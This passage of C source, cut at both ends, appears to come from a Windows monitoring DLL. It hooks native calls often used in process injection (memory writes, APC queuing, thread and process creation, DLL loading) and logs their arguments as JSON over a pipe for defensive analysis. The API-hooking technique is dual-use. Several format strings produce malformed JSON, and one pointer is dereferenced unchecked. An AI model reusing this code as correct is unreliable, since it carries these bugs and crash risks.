sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"base_address\\\":%llu,\", baseAddressValue);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"zero_bits\\\":%llu,\", ZeroBits);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%llu,\", CommitSize);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"section_offset\\\":%lld,\", sectionOffsetValue);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"view_size\\\":%llu,\", viewSizeValue);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"inherit_disposition\\\":%x,\", InheritDisposition);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"alloc_type\\\":%x,\", AllocationType);\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"protect\\\":\\\"%s\\\"\", getMemoryRegionProtect(Protect));\n    //offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset); // makes cs410 staged crash\n    offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n    SendDllPipe(buf);\n    return ret;\n}\n\n\n/******************* WriteVirtualMemory ************************/\n\n// Defines the prototype of the NtWriteVirtualMemoryFunction\ntypedef NTSTATUS(NTAPI* t_NtWriteVirtualMemory)(\n    HANDLE              ProcessHandle,\n    PVOID               BaseAddress,\n    PVOID               Buffer,\n    ULONG               NumberOfBytesToWrite,\n    PULONG              NumberOfBytesWritten\n    );\nt_NtWriteVirtualMemory Real_NtWriteVirtualMemory = NULL;\nNTSTATUS NTAPI Catch_NtWriteVirtualMemory(\n    HANDLE              ProcessHandle,\n    PVOID               BaseAddress,\n    PVOID               Buffer,\n    ULONG               NumberOfBytesToWrite,\n    PULONG              NumberOfBytesWritten\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtWriteVirtualMemory\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"base_address\\\":%llu,\", BaseAddress);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"buffer\\\":%llu,\", Buffer);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%lu,\", NumberOfBytesToWrite);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        \n        SendDllPipe(buf);\n    }\n    return Real_NtWriteVirtualMemory(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);\n}\n\n\n/******************* ReadVirtualMemory ************************/\n\n// Defines the prototype of the NtReadVirtualMemory function\ntypedef NTSTATUS(NTAPI* pNtReadVirtualMemory)(\n    HANDLE              ProcessHandle,\n    PVOID               BaseAddress,\n    PVOID               Buffer,\n    ULONG               NumberOfBytesToRead,\n    PULONG              NumberOfBytesRead\n    );\npNtReadVirtualMemory Real_NtReadVirtualMemory = NULL;\nNTSTATUS NTAPI Catch_NtReadVirtualMemory(\n    HANDLE              ProcessHandle,\n    PVOID               BaseAddress,\n    PVOID               Buffer,\n    ULONG               NumberOfBytesToRead,\n    PULONG              NumberOfBytesRead\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        if (!skip_self_readprocess || ProcessHandle != (HANDLE)-1) {\n            int offset = 0;\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\"k:%llu,\", time);\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtReadVirtualMemory\\\",\");\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"base_address\\\":%llu,\", BaseAddress);\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"buffer\\\":%llu,\", Buffer);\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"size\\\":%lu\", NumberOfBytesToRead);\n            offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n            SendDllPipe(buf);\n        }\n\n        // Currently makes notepad.exe crash on save dialog open on win11.\n        // And its a lot of data\n        //offset += LogMyStackTrace(&buf[ret], DATA_BUFFER_SIZE - ret);\n    }\n\n    return Real_NtReadVirtualMemory(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToRead, NumberOfBytesRead);\n}\n\n\n/******************* NtSetContextThread ************************/\n/*\n// Defines the prototype of the NtSetContextThreadFunction\ntypedef NTSTATUS(NTAPI* pNtSetContextThread)(\n    IN HANDLE               ThreadHandle,\n    IN PCONTEXT             Context\n    );\npNtSetContextThread Real_NtSetContextThread = NULL;\nNTSTATUS NTAPI Catch_NtSetContextThread(\n    IN HANDLE               ThreadHandle,\n    IN PCONTEXT             Context\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"type:dll,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"time:%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"pid:%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"tid:%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"func:SetContextThread,\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"thread_handle:%llu,\", ThreadHandle);\n\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        SendDllPipe(buf);\n    }\n\n    return Real_NtSetContextThread(ThreadHandle, Context);\n}\n*/\n\n/******************* LdrLoadDll ************************/\n#define DLL_NAME_LEN 128\ntypedef NTSTATUS(NTAPI* pLdrLoadDll)(\n    IN PWSTR            SearchPath          OPTIONAL,\n    IN PULONG           DllCharacteristics  OPTIONAL,\n    IN PUNICODE_STRING  DllName,\n    OUT PVOID*          BaseAddress\n    );\npLdrLoadDll Real_LdrLoadDll = NULL;\nNTSTATUS NTAPI Catch_LdrLoadDll(\n    IN PWSTR            SearchPath          OPTIONAL,\n    IN PULONG           DllCharacteristics  OPTIONAL,\n    IN PUNICODE_STRING  DllName,\n    OUT PVOID* BaseAddress\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    //wchar_t wDllName[DLL_NAME_LEN] = \"\";  // Buffer for the decoded DllName\n    char empty[32] = \"<broken>\";        // Empty string in case SearchPath is NULL\n\n    if (HooksInitialized) { // dont log our own hooking\n        char* searchPath = empty;   // SearchPath seems to be 8 (the number 8, not a string) BROKEN\n        //Unicodestring2wcharAlloc(DllName, wDllName, DLL_NAME_LEN);\n        ULONG dllCharacteristics = (DllCharacteristics != NULL) ? *DllCharacteristics : 0;\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"LdrLoadDll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"search_path\\\":\\\"%ls\\\",\", searchPath);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"dll_characteristics\\\":%lu,\", dllCharacteristics);\n        //offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"dll_name\\\":\\\"%ls\\\",\", wDllName);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n        SendDllPipe(buf);\n    }\n    return Real_LdrLoadDll(SearchPath, DllCharacteristics, DllName, BaseAddress);\n}\n\n\n/******************* LdrGetProcedureAddress ************************/\n#define WIDE_FUNCTION_NAME_LEN 128\ntypedef NTSTATUS(NTAPI* pLdrGetProcedureAddress)(\n    IN HMODULE              ModuleHandle,\n    IN PANSI_STRING         FunctionName,\n    IN WORD                 Oridinal,\n    OUT FARPROC* FunctionAddress\n    );\npLdrGetProcedureAddress Real_LdrGetProcedureAddress = NULL;\nNTSTATUS NTAPI Catch_LdrGetProcedureAddress(\n    IN HMODULE              ModuleHandle,\n    IN PANSI_STRING         FunctionName,\n    IN WORD                 Oridinal,\n    OUT FARPROC* FunctionAddress\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    //wchar_t wideFunctionName[WIDE_FUNCTION_NAME_LEN] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        //Unicodestring2wcharAlloc(FunctionName, wideFunctionName, WIDE_FUNCTION_NAME_LEN);\n\n        if (FunctionName && FunctionName->Buffer) {\n            // Convert ANSI string to wide string\n            //MultiByteToWideChar(CP_ACP, 0, FunctionName->Buffer, -1, wideFunctionName, WIDE_FUNCTION_NAME_LEN);\n        }\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"LdrGetProcedureAddress\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"module_handle\\\":%lld,\", ModuleHandle);\n        //offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"function\\\":\\\"%s\\\",\", wideFunctionName);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"ordinal\\\":%u\", Oridinal);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n\n        SendDllPipe(buf);\n    }\n\n    return Real_LdrGetProcedureAddress(ModuleHandle, FunctionName, Oridinal, FunctionAddress);\n}\n\n\n/******************* NtQueueApcThread ************************/\n\ntypedef NTSTATUS(NTAPI* pNtQueueApcThread)(\n    IN HANDLE               ThreadHandle,\n    IN PIO_APC_ROUTINE      ApcRoutine,\n    IN PVOID                ApcRoutineContext OPTIONAL,\n    IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,\n    IN ULONG                ApcReserved OPTIONAL\n    );\npNtQueueApcThread Real_NtQueueApcThread = NULL;\nNTSTATUS NTAPI Catch_NtQueueApcThread(\n    IN HANDLE               ThreadHandle,\n    IN PIO_APC_ROUTINE      ApcRoutine,\n    IN PVOID                ApcRoutineContext OPTIONAL,\n    IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,\n    IN ULONG                ApcReserved OPTIONAL\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtQueueApcThread\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%lld,\", ThreadHandle);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        \n        SendDllPipe(buf);\n    }\n    return Real_NtQueueApcThread(ThreadHandle, ApcRoutine, ApcRoutineContext, ApcStatusBlock, ApcReserved);\n}\n\n\n/******************* NtQueueApcThreadEx ************************/\n\ntypedef NTSTATUS(NTAPI* pNtQueueApcThreadEx)(\n    IN HANDLE               ThreadHandle,\n    IN HANDLE               ApcThreadHandle,\n    IN PVOID                ApcRoutine,\n    IN PVOID                ApcArgument1,\n    IN PVOID                ApcArgument2,\n    IN PVOID                ApcArgument3\n    );\npNtQueueApcThreadEx Real_NtQueueApcThreadEx = NULL;\nNTSTATUS NTAPI Catch_NtQueueApcThreadEx(\n    IN HANDLE               ThreadHandle,\n    IN HANDLE               ApcThreadHandle,\n    IN PVOID                ApcRoutine,\n    IN PVOID                ApcArgument1,\n    IN PVOID                ApcArgument2,\n    IN PVOID                ApcArgument3\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtQueueApcThreadEx\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%lld,\", ThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"apc_thread\\\":%llu,\", ApcThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"apc_routine\\\":%llu,\", ApcRoutine);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"arg1\\\":%llu,\", ApcArgument1);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"arg2\\\":%llu,\", ApcArgument2);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"arg3\\\":%llu,\", ApcArgument3);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        \n        SendDllPipe(buf);\n    }\n    return Real_NtQueueApcThreadEx(ThreadHandle, ApcThreadHandle, ApcRoutine, ApcArgument1, ApcArgument2, ApcArgument3);\n}\n\n\n/******************* NtCreateProcess ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateProcess)(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ParentProcess,\n    IN BOOLEAN              InheritObjectTable,\n    IN HANDLE               SectionHandle,\n    IN HANDLE               DebugPort,\n    IN HANDLE               ExceptionPort\n    );\npNtCreateProcess Real_NtCreateProcess = NULL;\nNTSTATUS NTAPI Catch_NtCreateProcess(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ParentProcess,\n    IN BOOLEAN              InheritObjectTable,\n    IN HANDLE               SectionHandle,\n    IN HANDLE               DebugPort,\n    IN HANDLE               ExceptionPort\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateProcess\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"access_mask\\\":%u,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"parent_process\\\":%llu,\", ParentProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"inherit_table\\\":%d,\", InheritObjectTable);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtCreateProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ParentProcess, InheritObjectTable, SectionHandle, DebugPort, ExceptionPort);\n}\n\n\n/******************* NtCreateThread ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateThread)(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN HANDLE               ProcessHandle,\n    OUT CLIENT_ID* ClientId,\n    IN PCONTEXT             ThreadContext,\n    IN PVOID         InitialTeb,\n    IN BOOLEAN              CreateSuspended\n    );\npNtCreateThread Real_NtCreateThread = NULL;\nNTSTATUS NTAPI Catch_NtCreateThread(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes OPTIONAL,\n    IN HANDLE               ProcessHandle,\n    OUT CLIENT_ID* ClientId,\n    IN PCONTEXT             ThreadContext,\n    IN PVOID         InitialTeb,\n    IN BOOLEAN              CreateSuspended\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    NTSTATUS ret = Real_NtCreateThread(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, ClientId, ThreadContext, InitialTeb, CreateSuspended);\n    if (HooksInitialized) { // dont log our own hooking\n        HANDLE rUniqueProcess = (ClientId != NULL) ? ClientId->UniqueProcess : NULL;\n        HANDLE rUniqueThread = (ClientId != NULL) ? ClientId->UniqueThread : NULL;\n        HANDLE rThreadHandle = (ThreadHandle != NULL) ? *ThreadHandle : NULL;\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateThread\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%lld,\", rThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"suspended\\\":%llu,\", CreateSuspended);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"unique_process\\\":%llu,\", rUniqueProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"unique_thread\\\":%llu,\", rUniqueThread);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return ret;\n}\n\n\n/******************* NtCreateThreadEx ************************/\n\ntypedef NTSTATUS(NTAPI* pNtCreateThreadEx)(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ProcessHandle,\n    IN PVOID                StartRoutine,\n    IN PVOID                Argument,\n    IN ULONG                CreateFlags,\n    IN ULONG_PTR            ZeroBits,\n    IN SIZE_T               StackSize,\n    IN SIZE_T               MaximumStackSize,\n    IN PVOID                AttributeList\n    );\npNtCreateThreadEx Real_NtCreateThreadEx = NULL;\nNTSTATUS NTAPI Catch_NtCreateThreadEx(\n    OUT PHANDLE             ThreadHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN HANDLE               ProcessHandle,\n    IN PVOID                StartRoutine,\n    IN PVOID                Argument,\n    IN ULONG                CreateFlags,\n    IN ULONG_PTR            ZeroBits,\n    IN SIZE_T               StackSize,\n    IN SIZE_T               MaximumStackSize,\n    IN PVOID                AttributeList\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    NTSTATUS ret = Real_NtCreateThreadEx(ThreadHandle, DesiredAccess, ObjectAttributes, ProcessHandle, StartRoutine, Argument, CreateFlags, ZeroBits, StackSize, MaximumStackSize, AttributeList);\n    if (HooksInitialized) { // dont log our own hooking\n        HANDLE rThreadHandle = (ThreadHandle != NULL) ? *ThreadHandle : NULL;\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtCreateThreadEx\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"thread_handle\\\":%lld,\", rThreadHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"start_routine\\\":%llu,\", StartRoutine);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"argument\\\":%llu\", Argument);\n        //offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return ret;\n}\n\n\n/******************* NtOpenProcess ************************/\n\ntypedef NTSTATUS(NTAPI* pNtOpenProcess)(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN CLIENT_ID* ClientId\n    );\npNtOpenProcess Real_NtOpenProcess = NULL;\nNTSTATUS NTAPI Catch_NtOpenProcess(\n    OUT PHANDLE             ProcessHandle,\n    IN ACCESS_MASK          DesiredAccess,\n    IN POBJECT_ATTRIBUTES   ObjectAttributes,\n    IN CLIENT_ID* ClientId\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n\n    if (HooksInitialized) { // dont log our own hooking\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"time\\\":%llu,\", time);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"pid\\\":%lu,\", (DWORD)GetCurrentProcessId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"tid\\\":%lu,\", (DWORD)GetCurrentThreadId());\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"func\\\":\\\"NtOpenProcess\\\",\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"handle\\\":%lld,\", (long long)ProcessHandle);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"access_mask\\\":%lu,\", DesiredAccess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"client_id_process\\\":%llu,\", ClientId->UniqueProcess);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"client_id_thread\\\":%llu,\", ClientId->UniqueThread);\n        offset += LogMyStackTrace(&buf[offset], DATA_BUFFER_SIZE - offset);\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"}\");\n        SendDllPipe(buf);\n    }\n    return Real_NtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);\n}\n\n\n/******************* NtLoadDriver ************************/\n\n#define WIDE_SERVICE_NAME_LEN 128\ntypedef NTSTATUS(NTAPI* pNtLoadDriver)(\n    IN PUNICODE_STRING      DriverServiceName\n    );\npNtLoadDriver Real_NtLoadDriver = NULL;\nNTSTATUS NTAPI Catch_NtLoadDriver(\n    IN PUNICODE_STRING      DriverServiceName\n) {\n    int64_t time = get_time();\n    char buf[DATA_BUFFER_SIZE] = \"\";\n    wchar_t wDriverServiceName[WIDE_SERVICE_NAME_LEN];\n\n    if (HooksInitialized) { // dont log our own hooking\n        Unicodestring2wcharAlloc(DriverServiceName, wDriverServiceName, WIDE_SERVICE_NAME_LEN);\n\n        int offset = 0;\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"{\");\n        offset += sprintf_s(buf + offset, DATA_BUFFER_SIZE - offset, \"\\\"type\\\":\\\"dll\\\",\");\n        offset += sprintf_s(buf + offset, 